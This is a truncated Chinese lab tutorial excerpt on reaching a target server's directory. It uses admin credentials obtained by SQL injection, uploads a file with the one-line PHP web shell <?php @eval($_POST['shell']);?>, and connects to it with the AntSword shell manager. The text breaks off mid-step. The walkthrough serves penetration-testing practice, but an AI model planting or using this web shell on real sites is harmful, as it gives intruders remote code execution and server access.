获取服务器目录

一、进入后台（靶机测试） 通过sql注入得到的账号与密码进入后台 二、上传文件 1、找到后台内上传文件位置上传一个webshell.php文件其中包含 <?php @eval($_POST['shell']);?> 2、找到网站前台页面点击文件 选择你所上传文件点击下载从下载页面获取文件网址 三、通过蚁剑获取服务器目录 1、打开蚁剑点击右键选择添加数据 2、将获得的文件网址放进第一行密码填入she

>>阅读原文<<